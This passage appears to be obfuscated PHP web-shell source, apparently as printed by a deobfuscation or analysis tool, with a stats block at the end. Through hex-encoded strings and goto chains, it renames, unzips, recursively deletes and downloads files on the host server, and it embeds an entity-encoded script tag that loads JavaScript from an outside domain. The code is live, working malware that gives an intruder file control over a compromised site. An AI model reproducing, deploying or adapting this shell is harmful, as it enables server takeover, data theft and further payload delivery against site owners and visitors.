"\x20\x3c\x66\x6f\x72\155\x20\141\143\164\151\x6f\x6e\x3d\x22\x22\40\x6d\x65\x74\150\157\x64\75\x22\x70\157\163\x74\x22\x3e\40\x3c\x69\156\160\165\x74\40\x6e\141\155\145\x3d\42\x6e\x22\40\x63\x6c\x61\163\163\x3d\42\170\42\40\x74\171\x70\145\x3d\x22\164\x65\x78\164\x22\40\166\x61\154\x75\x65\x3d\x22\42\76\40" . $lELZnW . "\x20" . $lELZnj; if (!isset($_POST["\156"])) { goto lyMWZRR; } if (!$lELZLL[25]($_POST["\x6e"])) { goto lyMWZRW; } OK(); goto lyMWZRZ; lyMWZRW: ER(); lyMWZRZ: lyMWZRR: goto lyMWZxR; lyMWZxU: echo $lELZLD . uhex($_GET["\x72"]) . $lELZLE . "\40\74\x66\157\x72\x6d\x20\x61\x63\x74\151\157\156\75\x22\42\x20\x6d\145\x74\150\x6f\x64\x3d\42\x70\x6f\163\164\x22\76\x20\x3c\151\x6e\x70\165\164\40\x6e\141\x6d\145\x3d\x22\x72\42\40\x63\x6c\x61\163\163\x3d\x22\x78\x22\x20\x74\x79\x70\x65\75\42\164\x65\x78\164\42\x20\x76\141\x6c\x75\145\x3d\42" . uhex($_GET["\x72"]) . "\x22\76\40" . $lELZnW . "\40" . $lELZnj; if (!isset($_POST["\x72"])) { goto lyMWZRV; } if ($lELZLL[26]($_POST["\x72"])) { goto lyMWZRx; } if ($lELZLL[27](uhex($_GET["\x72"]), $_POST["\162"])) { goto lyMWZRL; } ER(); goto lyMWZRn; lyMWZRL: OK(); lyMWZRn: goto lyMWZRy; lyMWZRx: ER(); lyMWZRy: lyMWZRV: goto lyMWZxR; lyMWZxD: $lELZny = new ZipArchive(); $lELZnV = $lELZny->open(uhex($_GET["\x7a"])); if ($lELZnV === TRUE) { goto lyMWZRa; } ER(); goto lyMWZRM; lyMWZRa: $lELZny->extractTo(uhex($_GET["\144"])); $lELZny->close(); OK(); lyMWZRM: lyMWZxR: echo "\40\74\57\x61\162\x74\151\x63\154\145\76\40\x3c\146\157\157\x74\145\162\x20\143\x6c\141\x73\163\75\x22\170\42\76\x20\46\143\157\160\x79\x3b\x54\150\x65\x41\x6c\155\x69\147\150\164\171\132\145\165\163\40\x3c\x2f\146\x6f\x6f\164\x65\x72\76\40"; if (isset($_GET["\61"])) { goto lyMWZyj; } if (isset($_GET["\x30"])) { goto lyMWZyW; } NULL; goto lyMWZxE; lyMWZyj: echo $lELZLM; goto lyMWZxE; lyMWZyW: echo $lELZLO; lyMWZxE: echo "\x20\x3c\x73\143\x72\151\160\x74\x3e\x20\x24\50\x22\56\x61\152\170\x22\51\56\143\x6c\151\x63\x6b\50\146\x75\156\143\x74\151\157\156\x28\164\x29\173\164\56\160\x72\x65\x76\145\x6e\164\104\x65\x66\141\x75\154\164\50\x29\x3b\x76\x61\x72\x20\x65\75\x24\50\164\x68\x69\x73\51\56\141\x74\x74\162\50\x22\x68\x72\145\x66\x22\x29\73\x68\151\163\x74\x6f\x72\x79\56\x70\x75\163\150\x53\x74\x61\164\x65\50\42\42\x2c\42\x22\x2c\145\x29\54\44\x2e\147\x65\164\50\x65\x2c\x66\165\156\143\164\151\157\156\50\164\x29\x7b\44\50\x22\142\x6f\144\171\42\x29\x2e\x68\164\x6d\154\x28\x74\51\x7d\x29\175\x29\x3b\40\74\x2f\x73\x63\x72\x69\x70\x74\x3e\x20\x3c\x2f\142\x6f\144\x79\76\40\74\x2f\150\x74\x6d\154\76\40"; function rec($lELZnM) { goto lyMWZyn; lyMWZyn: global $lELZLL; goto lyMWZyx; lyMWZyy: return; goto lyMWZyV; lyMWZyO: goto lyMWZyL; goto lyMWZyq; lyMWZyD: $lELZLL[35]($lELZnM); goto lyMWZyE; lyMWZyV: lyMWZyZ: goto lyMWZya; lyMWZyx: if (!(trim(pathinfo($lELZnM, PATHINFO_BASENAME), "\56") === '')) { goto lyMWZyZ; } goto lyMWZyy; lyMWZyE: lyMWZyL: goto lyMWZVj; lyMWZyM: $lELZLL[10]($lELZnM); goto lyMWZyO; lyMWZyU: array_map("\x72\x65\143", glob($lELZnM . DIRECTORY_SEPARATOR . "\x7b\x2c\x2e\x7d\x2a", GLOB_BRACE | GLOB_NOSORT)); goto lyMWZyD; lyMWZya: if ($lELZLL[8]($lELZnM)) { goto lyMWZyR; } goto lyMWZyM; lyMWZyq: lyMWZyR: goto lyMWZyU; lyMWZVj: } function dre($lELZxW, $lELZxZ) { goto lyMWZVW; lyMWZVW: global $lELZLL; goto lyMWZVZ; lyMWZVL: return $lELZLL[36](); goto lyMWZVn; lyMWZVZ: ob_start(); goto lyMWZVR; lyMWZVR: $lELZLL[16]($lELZxW($lELZxZ)); goto lyMWZVL; lyMWZVn: } function hex($lELZxR) { goto lyMWZVV; lyMWZVV: $lELZxL = ''; goto lyMWZVa; lyMWZVa: for ($lELZLR = 0; $lELZLR < strlen($lELZxR); $lELZLR++) { $lELZxL .= dechex(ord($lELZxR[$lELZLR])); } goto lyMWZVM; lyMWZVM: return $lELZxL; goto lyMWZVO; lyMWZVO: } function uhex($lELZxL) { goto lyMWZVD; lyMWZVE: for ($lELZLR = 0; $lELZLR < strlen($lELZxL) - 1; $lELZLR += 2) { $lELZxR .= chr(hexdec($lELZxL[$lELZLR] . $lELZxL[$lELZLR + 1])); } goto lyMWZaj; lyMWZVD: $lELZxR = ''; goto lyMWZVE; lyMWZaj: return $lELZxR; goto lyMWZaW; lyMWZaW: } function OK() { goto lyMWZaZ; lyMWZaL: header("\114\157\x63\x61\x74\x69\157\x6e\72\40\x3f\144\x3d" . hex($lELZLn) . "\x26\61"); goto lyMWZan; lyMWZaR: $lELZLL[38]($lELZLL[9]); goto lyMWZaL; lyMWZan: exit; goto lyMWZax; lyMWZaZ: global $lELZLL, $lELZLn; goto lyMWZaR; lyMWZax: } function ER() { goto lyMWZay; lyMWZaM: exit; goto lyMWZaO; lyMWZay: global $lELZLL, $lELZLn; goto lyMWZaV; lyMWZaV: $lELZLL[38]($lELZLL[9]); goto lyMWZaa; lyMWZaa: header("\114\x6f\143\141\164\x69\x6f\x6e\72\x20\77\x64\x3d" . hex($lELZLn) . "\x26\60"); goto lyMWZaM; lyMWZaO: } function x($lELZnq) { goto lyMWZML; lyMWZqV: $lELZxn .= $lELZnn & 0x10 ? "\167" : "\x2d"; goto lyMWZqa; lyMWZqL: $lELZxn .= $lELZnn & 0x100 ? "\162" : "\55"; goto lyMWZqn; lyMWZOR: $lELZxn = "\154"; goto lyMWZOL; lyMWZMV: if (($lELZnn & 0x8000) == 0x8000) { goto lyMWZaE; } goto lyMWZMa; lyMWZOa: $lELZxn = "\142"; goto lyMWZOM; lyMWZOU: goto lyMWZaq; goto lyMWZOD; lyMWZOq: $lELZxn = "\x64"; goto lyMWZOU; lyMWZOD: lyMWZMZ: goto lyMWZOE; lyMWZME: lyMWZaU: goto lyMWZOj; lyMWZOx: $lELZxn = "\55"; goto lyMWZOy; lyMWZOZ: lyMWZaD: goto lyMWZOR; lyMWZMa: if (($lELZnn & 0x6000) == 0x6000) { goto lyMWZMj; } goto lyMWZMM; lyMWZOj: $lELZxn = "\x73"; goto lyMWZOW; lyMWZMn: $lELZnn = $lELZLL[24]($lELZnq); goto lyMWZMx; lyMWZMD: goto lyMWZaq; goto lyMWZME; lyMWZOO: lyMWZMW: goto lyMWZOq; lyMWZqq: $lELZxn .= $lELZnn & 0x1 ? $lELZnn & 0x200 ? "\164" : "\170" : ($lELZnn & 0x200 ? "\x54" : "\55"); goto lyMWZqU; lyMWZOV: lyMWZMj: goto lyMWZOa; lyMWZML: global $lELZLL; goto lyMWZMn; lyMWZqM: $lELZxn .= $lELZnn & 0x4 ? "\x72" : "\x2d"; goto lyMWZqO; lyMWZqj: goto lyMWZaq; goto lyMWZqW; lyMWZOE: $lELZxn = "\143"; goto lyMWZqj; lyMWZMO: if (($lELZnn & 0x2000) == 0x2000) { goto lyMWZMZ; } goto lyMWZMq; lyMWZOW: goto lyMWZaq; goto lyMWZOZ; lyMWZqU: return $lELZxn; goto lyMWZqD; lyMWZOM: goto lyMWZaq; goto lyMWZOO; lyMWZOL: goto lyMWZaq; goto lyMWZOn; lyMWZqW: lyMWZMR: goto lyMWZqZ; lyMWZqa: $lELZxn .= $lELZnn & 0x8 ? $lELZnn & 0x400 ? "\x73" : "\x78" : ($lELZnn & 0x400 ? "\123" : "\55"); goto lyMWZqM; lyMWZqx: $lELZxn .= $lELZnn & 0x40 ? $lELZnn & 0x800 ? "\x73" : "\x78" : ($lELZnn & 0x800 ? "\x53" : "\x2d"); goto lyMWZqy; lyMWZqR: lyMWZaq: goto lyMWZqL; lyMWZqy: $lELZxn .= $lELZnn & 0x20 ? "\x72" : "\55"; goto lyMWZqV; lyMWZMU: $lELZxn = "\165"; goto lyMWZMD; lyMWZMy: if (($lELZnn & 0xa000) == 0xa000) { goto lyMWZaD; } goto lyMWZMV; lyMWZqn: $lELZxn .= $lELZnn & 0x80 ? "\x77" : "\x2d"; goto lyMWZqx; lyMWZMx: if (($lELZnn & 0xc000) == 0xc000) { goto lyMWZaU; } goto lyMWZMy; lyMWZOn: lyMWZaE: goto lyMWZOx; lyMWZMM: if (($lELZnn & 0x4000) == 0x4000) { goto lyMWZMW; } goto lyMWZMO; lyMWZqZ: $lELZxn = "\x70"; goto lyMWZqR; lyMWZOy: goto lyMWZaq; goto lyMWZOV; lyMWZMq: if (($lELZnn & 0x1000) == 0x1000) { goto lyMWZMR; } goto lyMWZMU; lyMWZqO: $lELZxn .= $lELZnn & 0x2 ? "\x77" : "\55"; goto lyMWZqq; lyMWZqD: } if (!isset($_GET["\147"])) { goto lyMWZqE; } $lELZLL[38]($lELZLL[9]); header("\x43\157\x6e\x74\145\x6e\x74\55\x54\x79\x70\145\72\40\141\x70\160\154\151\x63\x61\164\151\157\x6e\57\x6f\x63\164\145\164\x2d\x73\164\162\145\x61\x6d"); header("\x43\x6f\x6e\164\145\x6e\164\55\124\x72\x61\x6e\163\146\x65\162\x2d\x45\x6e\143\157\x64\x69\x6e\147\72\40\x42\151\156\141\x72\171"); header("\x43\157\x6e\164\145\156\164\55\114\145\156\x67\x74\150\x3a\40" . $lELZLL[34](uhex($_GET["\147"]))); header("\x43\x6f\156\x74\145\156\x74\55\144\x69\163\x70\157\x73\151\164\151\x6f\x6e\x3a\40\x61\164\164\x61\143\150\155\x65\156\x74\x3b\40\x66\x69\x6c\x65\x6e\141\155\x65\75\42" . uhex($_GET["\x67"]) . "\42"); $lELZLL[37](uhex($_GET["\147"])); lyMWZqE: echo "\40\x3c\123\103\x52\x49\120\x54\40\123\x52\103\x3d\x26\43\x78\66\x38\x26\x23\x78\67\x34\x26\x23\170\67\64\46\43\x78\67\60\x26\x23\x78\63\141\46\43\170\x32\146\x26\43\x78\x32\146\46\x23\170\67\x37\46\43\170\67\x37\x26\43\x78\x37\67\x26\43\170\62\145\x26\43\170\x36\x63\46\x23\170\x36\146\x26\x23\x78\66\63\x26\43\170\x36\x31\x26\43\x78\66\x63\x26\x23\x78\x37\x32\46\x23\170\66\146\x26\43\170\x36\146\x26\43\170\x37\x34\x26\x23\170\62\145\46\43\170\x36\x65\46\43\170\x36\x35\46\x23\170\x37\x34\x26\43\x78\62\x66\46\x23\x78\66\71\x26\x23\x78\66\62\x26\43\170\x36\x65\46\43\x78\66\x35\46\43\170\x36\x63\x26\x23\x78\x36\65\x26\x23\170\67\62\x26\x23\170\x32\x66\x26\43\x78\x37\x39\x26\x23\170\66\61\46\43\170\x37\141\46\43\170\62\x65\x26\43\170\66\141\46\43\170\67\x33\76\x3c\x2f\x53\x43\122\111\120\x54\x3e";

Function Calls

None

Variables

None

Stats

MD5 f5d4acdfdaa56b69db1772e42508f30f
Eval Count 0
Decode Time 77 ms